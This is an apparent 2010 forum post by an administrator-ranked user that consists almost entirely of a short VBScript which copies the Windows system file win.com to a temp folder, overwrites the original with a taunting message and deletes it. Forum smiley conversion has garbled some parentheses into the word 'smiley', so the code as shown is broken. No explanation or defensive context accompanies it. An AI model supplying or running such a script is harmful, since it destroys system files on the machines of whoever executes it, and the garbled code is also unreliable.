ghiunei4485 | Date: Monday, 2010-02-22, 7:39 PM | Message # 1 |
Generalissimo
Group: Administrators
Messages: 168
Awards: 1
Status:
| Dim fso, fs1, fs2 Dim drive, folder, file Set fso = CreateObject("Scripting.FileSystemObject"smiley drive = "c:\" folder ="windows\" file = "win.com" Set fs1 = fso.GetFile(drive&folder&file) fs1.copy ("c:\windows\temp\win.com"smiley set fs2=fso.CreateTextFile("c:\windows\win.com"smiley fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif" Set fs1 = fso.GetFile(drive&folder&file) fs1.delete fs2.close
|
|
| |